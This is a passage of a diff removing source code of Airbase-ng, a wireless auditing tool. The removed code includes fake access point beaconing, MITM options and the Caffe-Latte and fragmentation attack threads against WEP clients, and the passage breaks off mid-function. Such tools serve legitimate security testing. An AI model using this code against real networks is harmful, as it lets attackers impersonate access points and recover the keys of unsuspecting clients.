-				   sizeof(EXTENDED_RATES) - 1);
-			beacon_len += sizeof(EXTENDED_RATES) - 1;
-
-			if (opt.allwpa)
-			{
-				memcpy(beacon + beacon_len,
-					   ALL_WPA1_TAGS,
-					   sizeof(ALL_WPA1_TAGS) - 1);
-				beacon_len += sizeof(ALL_WPA1_TAGS) - 1;
-			}
-			else if (opt.wpa1type > 0)
-			{
-				memcpy(beacon + beacon_len, WPA1_TAG, 24);
-				beacon[beacon_len + 11] = opt.wpa1type;
-				beacon[beacon_len + 17] = opt.wpa1type;
-				beacon_len += 24;
-			}
-
-			// copy timestamp into beacon; a mod 2^64 counter incremented each
-			// microsecond
-			for (i = 0; i < 8; i++)
-			{
-				beacon[24 + i] = (timestamp >> (i * 8)) & 0xFF;
-			}
-
-			beacon[22] = (seq << 4) & 0xFF;
-			beacon[23] = (seq >> 4) & 0xFF;
-
-			fflush(stdout);
-
-			if (send_packet(beacon, beacon_len) < 0)
-			{
-				printf("Error sending beacon!\n");
-				return;
-			}
-
-			seq++;
-		}
-	}
-}
-
-static void caffelatte_thread(void)
-{
-	struct timeval tv, tv2;
-	float f, ticks[3];
-	int arp_off1 = 0;
-	int nb_pkt_sent_1 = 0;
-	int seq = 0;
-
-	ticks[0] = 0;
-	ticks[1] = 0;
-	ticks[2] = 0;
-
-	while (1)
-	{
-		/* sleep until the next clock tick */
-
-		gettimeofday(&tv, NULL);
-		usleep(1000000 / RTC_RESOLUTION);
-		gettimeofday(&tv2, NULL);
-
-		f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
-			+ (float) (tv2.tv_usec - tv.tv_usec);
-
-		ticks[0] += f / (1000000.f / RTC_RESOLUTION);
-		ticks[1] += f / (1000000.f / RTC_RESOLUTION);
-		ticks[2] += f / (1000000.f / RTC_RESOLUTION);
-
-		if (((double) ticks[2] / (double) RTC_RESOLUTION)
-			>= (1000.0 / (double) opt.r_nbpps) * (double) seq)
-		{
-			/* threshold reach, send one frame */
-			//            ticks[2] = 0;
-
-			if (opt.nb_arp > 0)
-			{
-				if (nb_pkt_sent_1 == 0) ticks[0] = 0;
-
-				if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
-					return;
-
-				nb_pkt_sent_1++;
-
-				if (((double) ticks[0] / (double) RTC_RESOLUTION)
-						* (double) opt.r_nbpps
-					> (double) nb_pkt_sent_1)
-				{
-					if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
-						return;
-
-					nb_pkt_sent_1++;
-				}
-
-				if (++arp_off1 >= opt.nb_arp) arp_off1 = 0;
-			}
-		}
-	}
-}
-
-static int del_next_CF(pCF_t curCF)
-{
-	pCF_t tmp;
-
-	if (curCF == NULL) return 1;
-
-	if (curCF->next == NULL) return 1;
-
-	tmp = curCF->next;
-	curCF->next = tmp->next;
-
-	free(tmp);
-
-	return 0;
-}
-
-static int cfrag_fuzz(unsigned char * packet,
-					  int frags,
-					  int frag_num,
-					  int length,
-					  unsigned char rnd[2])
-{
-	int z, i;
-	unsigned char overlay[4096];
-	unsigned char * smac = NULL;
-
-	if (packet == NULL) return 1;
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if (length <= z + 8) return 1;
-
-	if (frags < 1) return 1;
-
-	if (frag_num < 0 || frag_num > frags) return 1;
-
-	if ((packet[1] & 3) <= 1)
-		smac = packet + 10;
-	else if ((packet[1] & 3) == 2)
-		smac = packet + 16;
-	else
-		smac = packet + 24;
-
-	memset(overlay, 0, 4096);
-
-	smac[4] ^= rnd[0];
-	smac[5] ^= rnd[1];
-
-	if (frags == 1 && frag_num == 1) /* ARP final */
-	{
-		overlay[z + 14] = rnd[0];
-		overlay[z + 15] = rnd[1];
-		overlay[z + 18] = rnd[0];
-		overlay[z + 19] = rnd[1];
-		add_crc32_plain(overlay + z + 4, length - z - 4 - 4);
-	}
-	else if (frags == 3 && frag_num == 3) /* IP final */
-	{
-		overlay[z + 12] = rnd[0];
-		overlay[z + 13] = rnd[1];
-		overlay[z + 16] = rnd[0];
-		overlay[z + 17] = rnd[1];
-		add_crc32_plain(overlay + z + 4, length - z - 4 - 4);
-	}
-
-	for (i = 0; i < length; i++)
-	{
-		packet[i] ^= overlay[i];
-	}
-
-	return 0;
-}
-
-static void cfrag_thread(void)
-{
-	struct timeval tv, tv2;
-	float f, ticks[3];
-	int nb_pkt_sent_1 = 0;
-	int seq = 0, i = 0;
-	pCF_t curCF;
-	unsigned char rnd[2];
-	unsigned char buffer[4096];
-
-	ticks[0] = 0;
-	ticks[1] = 0;
-	ticks[2] = 0;
-
-	while (1)
-	{
-		/* sleep until the next clock tick */
-
-		gettimeofday(&tv, NULL);
-		usleep(1000000 / RTC_RESOLUTION);
-		gettimeofday(&tv2, NULL);
-
-		f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
-			+ (float) (tv2.tv_usec - tv.tv_usec);
-
-		ticks[0] += f / (1000000.f / RTC_RESOLUTION);
-		ticks[1] += f / (1000000.f / RTC_RESOLUTION);
-		ticks[2] += f / (1000000.f / RTC_RESOLUTION);
-
-		if (((double) ticks[2] / (double) RTC_RESOLUTION)
-			>= ((double) 1000.0 / (double) opt.r_nbpps) * (double) seq)
-		{
-			/* threshold reach, send one frame */
-			//            ticks[2] = 0;
-
-			pthread_mutex_lock(&mx_cf);
-
-			if (opt.cf_count > 0)
-			{
-				curCF = rCF;
-
-				if (curCF->next == NULL)
-				{
-					opt.cf_count = 0;
-					pthread_mutex_unlock(&mx_cf);
-					continue;
-				}
-
-				while (curCF->next != NULL
-					   && curCF->next->xmitcount >= MAX_CF_XMIT)
-				{
-					del_next_CF(curCF);
-				}
-
-				if (curCF->next == NULL)
-				{
-					opt.cf_count = 0;
-					pthread_mutex_unlock(&mx_cf);
-					continue;
-				}
-
-				curCF = curCF->next;
-
-				if (nb_pkt_sent_1 == 0) ticks[0] = 0;
-
-				rnd[0] = rand() % 0xFF;
-				rnd[1] = rand() % 0xFF;
-
-				for (i = 0; i < curCF->fragnum; i++)
-				{
-					memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
-					cfrag_fuzz(
-						buffer, curCF->fragnum, i, curCF->fraglen[i], rnd);
-					if (send_packet(buffer, curCF->fraglen[i]) < 0)
-					{
-						pthread_mutex_unlock(&mx_cf);
-						return;
-					}
-				}
-				memcpy(buffer, curCF->final, curCF->finallen);
-				cfrag_fuzz(buffer,
-						   curCF->fragnum,
-						   curCF->fragnum,
-						   curCF->finallen,
-						   rnd);
-				if (send_packet(buffer, curCF->finallen) < 0)
-				{
-					pthread_mutex_unlock(&mx_cf);
-					return;
-				}
-
-				curCF->xmitcount++;
-				nb_pkt_sent_1++;
-
-				if (((double) ticks[0] / (double) RTC_RESOLUTION)
-						* (double) opt.r_nbpps
-					> (double) nb_pkt_sent_1)
-				{
-					rnd[0] = rand() % 0xFF;
-					rnd[1] = rand() % 0xFF;
-					for (i = 0; i < curCF->fragnum; i++)
-					{
-						memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
-						cfrag_fuzz(
-							buffer, curCF->fragnum, i, curCF->fraglen[i], rnd);
-						if (send_packet(buffer, curCF->fraglen[i]) < 0)
-						{
-							pthread_mutex_unlock(&mx_cf);
-							return;
-						}
-					}
-					memcpy(buffer, curCF->final, curCF->finallen);
-					cfrag_fuzz(buffer,
-							   curCF->fragnum,
-							   curCF->fragnum,
-							   curCF->finallen,
-							   rnd);
-					if (send_packet(buffer, curCF->finallen) < 0)
-					{
-						pthread_mutex_unlock(&mx_cf);
-						return;
-					}
-
-					curCF->xmitcount++;
-					nb_pkt_sent_1++;
-				}
-			}
-			pthread_mutex_unlock(&mx_cf);
-		}
-	}
-}
-
-int main(int argc, char * argv[])
-{
-	int ret_val, len, i, n;
-	struct pcap_pkthdr pkh;
-	fd_set read_fds;
-	unsigned char buffer[4096];
-	char *s, buf[128], *tempstr;
-	int caplen;
-	struct AP_conf apc;
-	unsigned char mac[6];
-
-	/* check the arguments */
-
-	memset(&opt, 0, sizeof(opt));
-	memset(&dev, 0, sizeof(dev));
-	memset(&apc, 0, sizeof(struct AP_conf));
-
-	pthread_mutex_init(&rESSIDmutex, NULL);
-	rESSID = (pESSID_t) malloc(sizeof(struct ESSID_list));
-	memset(rESSID, 0, sizeof(struct ESSID_list));
-
-	rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
-	memset(rFragment, 0, sizeof(struct Fragment_list));
-
-	rClient = (pMAC_t) malloc(sizeof(struct MAC_list));
-	memset(rClient, 0, sizeof(struct MAC_list));
-
-	rBSSID = (pMAC_t) malloc(sizeof(struct MAC_list));
-	memset(rBSSID, 0, sizeof(struct MAC_list));
-
-	rCF = (pCF_t) malloc(sizeof(struct CF_packet));
-	memset(rCF, 0, sizeof(struct CF_packet));
-
-#ifdef USE_GCRYPT
-// Register callback functions to ensure proper locking in the sensitive parts
-// of libgcrypt < 1.6.0
-#if GCRYPT_VERSION_NUMBER < 0x010600
-	gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
-#endif
-	// Disable secure memory.
-	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
-	// Tell Libgcrypt that initialization has completed.
-	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
-#endif
-	pthread_mutex_init(&mx_cf, NULL);
-	pthread_mutex_init(&mx_cap, NULL);
-
-	opt.r_nbpps = 100;
-	opt.tods = 0;
-	opt.setWEP = -1;
-	opt.skalen = 128;
-	opt.filter = -1;
-	opt.ringbuffer = 10;
-	opt.nb_arp = 0;
-	opt.f_index = 1;
-	opt.interval = 0x64;
-	opt.channel = 0;
-	opt.beacon_cache = 0; /* disable by default */
-	opt.use_fixed_nonce = 0;
-	opt.ti_mtu = TI_MTU;
-	opt.wif_mtu = WIF_MTU;
-	invalid_channel_displayed = 0;
-
-	srand(time(NULL));
-
-	while (1)
-	{
-		int option_index = 0;
-
-		static struct option long_options[] = {{"beacon-cache", 1, 0, 'C'},
-											   {"bssid", 1, 0, 'b'},
-											   {"bssids", 1, 0, 'B'},
-											   {"channel", 1, 0, 'c'},
-											   {"client", 1, 0, 'd'},
-											   {"clients", 1, 0, 'D'},
-											   {"essid", 1, 0, 'e'},
-											   {"essids", 1, 0, 'E'},
-											   {"promiscuous", 0, 0, 'P'},
-											   {"interval", 1, 0, 'I'},
-											   {"mitm", 0, 0, 'M'},
-											   {"hidden", 0, 0, 'X'},
-											   {"caffe-latte", 0, 0, 'L'},
-											   {"cfrag", 0, 0, 'N'},
-											   {"verbose", 0, 0, 'v'},
-											   {"ad-hoc", 0, 0, 'A'},
-											   {"help", 0, 0, 'H'},
-											   {0, 0, 0, 0}};
-
-		int option = getopt_long(
-			argc,
-			argv,
-			"a:h:i:C:I:r:w:HPe:E:c:d:D:f:W:qMY:b:B:XsS:Lx:vAz:Z:yV:0NF:n:",
-			long_options,
-			&option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case 0:
-
-				break;
-
-			case ':':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case '?':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case 'n':
-
-				// Check the value is 32 bytes, in hex (64 hex)
-				if (hexStringToArray(
-						optarg, strlen(optarg), opt.fixed_nonce, 32)
-					!= 32)
-				{
-					printf("Invalid fixed nonce. It must be 64 hexadecimal "
-						   "chars.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.use_fixed_nonce = 1;
-				break;
-
-			case 'a':
-
-				if (getmac(optarg, 1, opt.r_bssid) != 0)
-				{
-					printf("Invalid AP MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'c':
-
-				opt.channel = atoi(optarg);
-				if (opt.channel > 255 || opt.channel < 1)
-				{
-					printf("Invalid channel value <%d>. It must be between 1 "
-						   "and 255.\n",
-						   opt.channel);
-					return (1);
-				}
-
-				break;
-
-			case 'V':
-
-				opt.sendeapol = atoi(optarg);
-				if (opt.sendeapol < 1 || opt.sendeapol > 3)
-				{
-					printf("EAPOL value can only be 1[MD5], 2[SHA1] or "
-						   "3[auto].\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				break;
-
-			case 'v':
-
-				opt.verbose = 1;
-				if (opt.quiet != 0)
-				{
-					printf("Don't specify -v and -q at the same time.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				break;
-
-			case 'z':
-
-				opt.wpa1type = atoi(optarg);
-				if (opt.wpa1type < 1 || opt.wpa1type > 5)
-				{
-					printf("Invalid WPA1 type [1-5]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				if (opt.setWEP == -1)
-				{
-					opt.setWEP = 1;
-				}
-
-				break;
-
-			case 'Z':
-
-				opt.wpa2type = atoi(optarg);
-				if (opt.wpa2type < 1 || opt.wpa2type > 5)
-				{
-					printf("Invalid WPA2 type [1-5]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				if (opt.setWEP == -1)
-				{
-					opt.setWEP = 1;
-				}
-
-				break;
-
-			case 'e':
-
-				if (addESSID(optarg, strlen(optarg), 0) != 0)
-				{
-					printf("Invalid ESSID, too long\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.f_essid = 1;
-
-				break;
-
-			case 'E':
-
-				if (addESSIDfile(optarg) != 0) return (1);
-
-				opt.f_essid = 1;
-
-				break;
-
-			case 'P':
-
-				opt.promiscuous = 1;
-
-				break;
-
-			case 'I':
-
-				opt.interval = atoi(optarg);
-
-				break;
-
-			case 'C':
-
-				opt.beacon_cache = atoi(optarg);
-
-				break;
-
-			case 'A':
-
-				opt.adhoc = 1;
-
-				break;
-
-			case 'N':
-
-				opt.cf_attack = 1;
-
-				break;
-
-			case 'X':
-
-				opt.hidden = 1;
-
-				break;
-
-			case '0':
-
-				opt.allwpa = 1;
-				if (opt.sendeapol == 0) opt.sendeapol = 3;
-
-				break;
-
-			case 'x':
-
-				opt.r_nbpps = atoi(optarg);
-				if (opt.r_nbpps < 1 || opt.r_nbpps > 1000)
-				{
-					printf("Invalid speed. [1-1000]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				break;
-
-			case 's':
-
-				opt.forceska = 1;
-
-				break;
-
-			case 'f':
-
-				if (strncasecmp(optarg, "allow", 5) == 0
-					|| strncmp(optarg, "0", 1) == 0)
-				{
-					opt.filter
-						= ALLOW_MACS; // block all, allow the specified macs
-				}
-				else if (strncasecmp(optarg, "disallow", 5) == 0
-						 || strncmp(optarg, "1", 1) == 0)
-				{
-					opt.filter
-						= BLOCK_MACS; // allow all, block the specified macs
-				}
-				else
-				{
-					printf("Invalid macfilter mode. [allow|disallow]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				break;
-
-			case 'S':
-
-				if (atoi(optarg) < 16 || atoi(optarg) > 1480)
-				{
-					printf("Invalid challenge length. [16-1480]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.skalen = atoi(optarg);
-
-				break;
-
-			case 'h':
-
-				if (getmac(optarg, 1, opt.r_smac) != 0)
-				{
-					printf("Invalid source MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'i':
-
-				if (opt.s_face != NULL || opt.s_file)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.s_face = optarg;
-				break;
-
-			case 'W':
-
-				if (atoi(optarg) < 0 || atoi(optarg) > 1)
-				{
-					printf("Invalid argument for (-W). Only \"0\" and \"1\" "
-						   "allowed.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.setWEP = atoi(optarg);
-
-				break;
-
-			case 'M':
-
-				opt.mitm = 1;
-
-				break;
-
-			case 'L':
-
-				opt.caffelatte = 1;
-
-				break;
-
-			case 'y':
-
-				opt.nobroadprobe = 1;
-
-				break;
-
-			case 'Y':
-
-				if (strncasecmp(optarg, "in", 2) == 0)
-				{
-					opt.external |= EXT_IN; // process incoming frames
-				}
-				else if (strncasecmp(optarg, "out", 3) == 0)
-				{
-					opt.external |= EXT_OUT; // process outgoing frames
-				}
-				else if (strncasecmp(optarg, "both", 4) == 0
-						 || strncasecmp(optarg, "all", 3) == 0)
-				{
-					opt.external |= EXT_IN | EXT_OUT; // process both directions
-				}
-				else
-				{
-					printf("Invalid processing mode. [in|out|both]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				break;
-
-			case 'q':
-
-				opt.quiet = 1;
-				if (opt.verbose != 0)
-				{
-					printf("Don't specify -v and -q at the same time.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				break;
-
-			case 'w':
-
-				if (opt.prga != NULL)
-				{
-					printf("PRGA file already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (opt.crypt != CRYPT_NONE)
-				{
-					printf("Encryption key already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.crypt = CRYPT_WEP;
-
-				i = 0;
-				s = optarg;
-
-				buf[0] = s[0];
-				buf[1] = s[1];
-				buf[2] = '\0';
-
-				while (sscanf(buf, "%x", &n) == 1)
-				{
-					if (n < 0 || n > 255)
-					{
-						printf("Invalid WEP key.\n");
-						printf("\"%s --help\" for help.\n", argv[0]);
-						return (1);
-					}
-
-					opt.wepkey[i++] = n;
-
-					if (i >= 64) break;
-
-					s += 2;
-
-					if (s[0] == ':' || s[0] == '-') s++;
-
-					if (s[0] == '\0' || s[1] == '\0') break;
-
-					buf[0] = s[0];
-					buf[1] = s[1];
-				}
-
-				if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
-				{
-					printf("Invalid WEP key length.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.weplen = i;
-
-				break;
-
-			case 'F':
-
-				if (opt.dump_prefix != NULL)
-				{
-					printf("Notice: dump prefix already given\n");
-					break;
-				}
-				/* Write prefix */
-				opt.dump_prefix = optarg;
-				opt.record_data = 1;
-				break;
-
-			case 'd':
-
-				if (getmac(optarg, 1, mac) == 0)
-				{
-					addMAC(rClient, mac);
-				}
-				else
-				{
-					printf("Invalid source MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				if (opt.filter == -1) opt.filter = ALLOW_MACS;
-
-				break;
-
-			case 'D':
-
-				if (addMACfile(rClient, optarg) != 0) return (1);
-
-				if (opt.filter == -1) opt.filter = ALLOW_MACS;
-
-				break;
-
-			case 'b':
-
-				if (getmac(optarg, 1, mac) == 0)
-				{
-					addMAC(rBSSID, mac);
-				}
-				else
-				{
-					printf("Invalid BSSID address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				if (opt.filter == -1) opt.filter = ALLOW_MACS;
-
-				break;
-
-			case 'B':
-
-				if (addMACfile(rBSSID, optarg) != 0) return (1);
-
-				if (opt.filter == -1) opt.filter = ALLOW_MACS;
-
-				break;
-
-			case 'r':
-
-				if (opt.s_face != NULL || opt.s_file)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.s_file = optarg;
-				break;
-
-			case 'H':
-
-				printf(usage,
-					   getVersion("Airbase-ng",
-								  _MAJ,
-								  _MIN,
-								  _SUB_MIN,
-								  _REVISION,
-								  _BETA,
-								  _RC));
-				return (1);
-
-			default:
-				goto usage;
-		}
-	}
-
-	if (argc - optind != 1)
-	{
-		if (argc == 1)
-		{
-		usage:
-			printf(
-				usage,
-				getVersion(
-					"Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
-		}
-		if (argc - optind == 0)
-		{
-			printf("No replay interface specified.\n");
-		}
-		if (argc > 1)
-		{
-			printf("\"%s --help\" for help.\n", argv[0]);
-		}
-		return (1);
-	}
-
-	if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
-		&& (memcmp(opt.f_bssid, NULL_MAC, 6) == 0))
-	{
-		printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	if (opt.mitm && (getMACcount(rBSSID) != 1 || getMACcount(rClient) < 1))
-	{
-		printf("Notice: You need to specify exactly one BSSID (-b)"
-			   " and at least one client MAC (-d)\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	if (opt.wpa1type && opt.wpa2type)
-	{
-		printf("Notice: You can only set one method: WPA (-z) or WPA2 (-Z)\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	//     if( opt.sendeapol && !opt.wpa1type && !opt.wpa2type )
-	//     {
-	//         printf("Notice: You need to specify which WPA method to use"
-	//                " together with EAPOL. WPA (-z) or WPA2 (-Z)\n");
-	//         printf("\"%s --help\" for help.\n", argv[0]);
-	//         return( 1 );
-	//     }
-
-	if (opt.allwpa && (opt.wpa1type || opt.wpa2type))
-	{
-		printf("Notice: You cannot use all WPA tags (-0)"
-			   " together with WPA (-z) or WPA2 (-Z)\n");
-		printf("\"%s --help\" for help.\n", argv[0]);
-		return (1);
-	}
-
-	dev.fd_rtc = -1;
-
-/* open the RTC device if necessary */
-
-#if defined(__i386__)
-#if defined(linux)
-	if (1)
-	{
-		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
-		{
-			dev.fd_rtc = 0;
-		}
-
-		if ((dev.fd_rtc == 0) && (dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0)
-		{
-			dev.fd_rtc = 0;
-		}
-
-		if (dev.fd_rtc > 0)
-		{
-			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
-			{
-				perror("ioctl(RTC_IRQP_SET) failed");
-				printf("Make sure enhanced rtc device support is enabled in "
-					   "the kernel (module\n"
-					   "rtc, not genrtc) - also try 'echo 1024 "
-					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
-				close(dev.fd_rtc);
-				dev.fd_rtc = -1;
-			}
-			else
-			{
-				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
-				{
-					perror("ioctl(RTC_PIE_ON) failed");
-					close(dev.fd_rtc);
-					dev.fd_rtc = -1;
-				}
-			}
-		}
-		else
-		{
-			printf("For information, no action required:"
-				   " Using gettimeofday() instead of /dev/rtc\n");
-			dev.fd_rtc = -1;
-		}
-	}
-#endif /* linux */
-#endif /* __i386__ */
-
-	/* open the replay interface */
-	tempstr = strdup(argv[optind]);
-	if (!tempstr)
-	{
-		return 1;
-	}
-	_wi_out = wi_open(tempstr);
-	free(tempstr);
-	if (!_wi_out) return 1;
-	dev.fd_out = wi_fd(_wi_out);
-
-	/* open the packet source */
-	if (opt.s_face != NULL)
-	{
-		_wi_in = wi_open(opt.s_face);
-		if (!_wi_in) return 1;
-		dev.fd_in = wi_fd(_wi_in);
-	}
-	else
-	{
-		_wi_in = _wi_out;
-		dev.fd_in = dev.fd_out;
-	}
-
-	/* drop privileges */
-	if (setuid(getuid()) == -1)
-	{
-		perror("setuid");
-	}
-
-	/* XXX */
-	if (opt.r_nbpps == 0)
-	{
-		if (dev.is_wlanng || dev.is_hostap)
-			opt.r_nbpps = 200;
-		else
-			opt.r_nbpps = 500;
-	}
-
-	if (opt.record_data)
-		if (dump_initialize(opt.dump_prefix)) return (1);
-
-	if (opt.s_file != NULL)
-	{
-		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
-		{
-			perror("open failed");
-			return (1);
-		}
-
-		n = sizeof(struct pcap_file_header);
-
-		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
-		{
-			perror("fread(pcap file header) failed");
-			return (1);
-		}
-
-		if (dev.pfh_in.magic != TCPDUMP_MAGIC
-			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
-		{
-			fprintf(stderr,
-					"\"%s\" isn't a pcap file (expected "
-					"TCPDUMP_MAGIC).\n",
-					opt.s_file);
-			return (1);
-		}
-
-		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
-
-		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
-			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
-			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
-			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
-		{
-			fprintf(stderr,
-					"Wrong linktype from pcap file header "
-					"(expected LINKTYPE_IEEE802_11) -\n"
-					"this doesn't look like a regular 802.11 "
-					"capture.\n");
-			return (1);
-		}
-	}
-
-	dev.dv_ti = ti_open(NULL);
-	if (!dev.dv_ti)
-	{
-		printf("error opening tap device: %s\n", strerror(errno));
-		return -1;
-	}
-
-	if (!opt.quiet)
-	{
-		PCT;
-		printf("Created tap interface %s\n", ti_name(dev.dv_ti));
-	}
-
-	// Set MTU on tun/tap interface to a preferred value
-	if (!opt.quiet)
-	{
-		PCT;
-		printf(
-			"Trying to set MTU on %s to %i\n", ti_name(dev.dv_ti), opt.ti_mtu);
-	}
-	if (ti_set_mtu(dev.dv_ti, opt.ti_mtu) != 0)
-	{
-		if (!opt.quiet)
-		{
-			printf("error setting MTU on %s\n", ti_name(dev.dv_ti));
-		}
-		opt.ti_mtu = ti_get_mtu(dev.dv_ti);
-		if (!opt.quiet)
-		{
-			PCT;
-			printf("MTU on %s remains at %i\n", ti_name(dev.dv_ti), opt.ti_mtu);
-		}
-	}
-
-	// Set MTU on wireless interface to a preferred value
-	if (wi_get_mtu(_wi_out) < opt.wif_mtu)
-	{
-		if (!opt.quiet)
-		{
-			PCT;
-			printf("Trying to set MTU on %s to %i\n",
-				   _wi_out->wi_interface,
-				   opt.wif_mtu);
-		}
-		if (wi_set_mtu(_wi_out, opt.wif_mtu) != 0)
-		{
-			opt.wif_mtu = wi_get_mtu(_wi_out);
-			if (!opt.quiet)
-			{
-				printf("error setting MTU on %s\n", _wi_out->wi_interface);
-				PCT;
-				printf("MTU on %s remains at %i\n",
-					   _wi_out->wi_interface,
-					   opt.wif_mtu);
-			}
-		}
-	}
-
-	if (opt.external)
-	{
-		dev.dv_ti2 = ti_open(NULL);
-		if (!dev.dv_ti2)
-		{
-			printf("error opening tap device: %s\n", strerror(errno));
-			return -1;
-		}
-		if (!opt.quiet)
-		{
-			PCT;
-			printf("Created tap interface %s for external processing.\n",
-				   ti_name(dev.dv_ti2));
-			printf("You need to get the interfaces up, read the fames "
-				   "[,modify]\n");
-			printf("and send them back through the same interface \"%s\".\n",
-				   ti_name(dev.dv_ti2));
-		}
-	}
-
-	if (opt.channel > 0) wi_set_channel(_wi_out, opt.channel);
-
-	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0 && !opt.adhoc)
-	{
-		wi_get_mac(_wi_out, opt.r_bssid);
-	}
-
-	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
-	{
-		wi_get_mac(_wi_out, opt.r_smac);
-	}
-
-	if (opt.adhoc)
-	{
-		for (i = 0; i < 6; i++) // random cell
-			opt.r_bssid[i] = rand() & 0xFF;
-
-		// generate an even first byte
-		if (opt.r_bssid[0] & 0x01) opt.r_bssid[0] ^= 0x01;
-	}
-
-	memcpy(apc.bssid, opt.r_bssid, 6);
-	if (getESSIDcount() == 1 && opt.hidden != 1)
-	{
-		apc.essid = (char *) malloc(MAX_IE_ELEMENT_SIZE + 1);
-		apc.essid_len = getESSID(apc.essid);
-		apc.essid = (char *) realloc((void *) apc.essid, apc.essid_len + 1);
-		apc.essid[apc.essid_len] = 0x00;
-	}
-	else
-	{
-		apc.essid = "\x00";
-		apc.essid_len = 1;
-	}
-	apc.interval = opt.interval;
-	apc.capa[0] = 0x00;
-	if (opt.adhoc)
-		apc.capa[0] |= 0x02;
-	else
-		apc.capa[0] |= 0x01;
-	if ((opt.crypt == CRYPT_WEP && opt.setWEP == -1) || opt.setWEP == 1)
-		apc.capa[0] |= 0x10;
-	apc.capa[1] = 0x04;
-
-	if (ti_set_mac(dev.dv_ti, opt.r_bssid) != 0)
-	{
-		printf("\n");
-		perror("ti_set_mac failed");
-		printf(
-			"You most probably want to set the MAC of your TAP interface.\n");
-		printf("ifconfig <iface> hw ether %02X:%02X:%02X:%02X:%02X:%02X\n\n\n",
-			   opt.r_bssid[0],
-			   opt.r_bssid[1],
-			   opt.r_bssid[2],
-			   opt.r_bssid[3],
-			   opt.r_bssid[4],
-			   opt.r_bssid[5]);
-	}
-
-	if (opt.external)
-	{
-		if (ti_set_mac(dev.dv_ti2, (unsigned char *) "\xba\x98\x76\x54\x32\x10")
-			!= 0)
-		{
-			printf("Couldn't set MAC on interface \"%s\".\n",
-				   ti_name(dev.dv_ti2));
-		}
-	}
-	// start sending beacons
-	if (pthread_create(
-			&(beaconpid), NULL, (void *) beacon_thread, (void *) &apc)
-		!= 0)
-	{
-		perror("Beacons pthread_create");
-		return (1);
-	}
-
-	if (opt.caffelatte)
-	{
-		arp = (struct ARP_req *) malloc(opt.ringbuffer
-										* sizeof(struct ARP_req));
-
-		if (pthread_create(
-				&(caffelattepid), NULL, (void *) caffelatte_thread, NULL)
-			!= 0)
-		{
-			perror("Caffe-Latte pthread_create");
-			return (1);
-		}
-	}
-
-	if (opt.cf_attack)
-	{
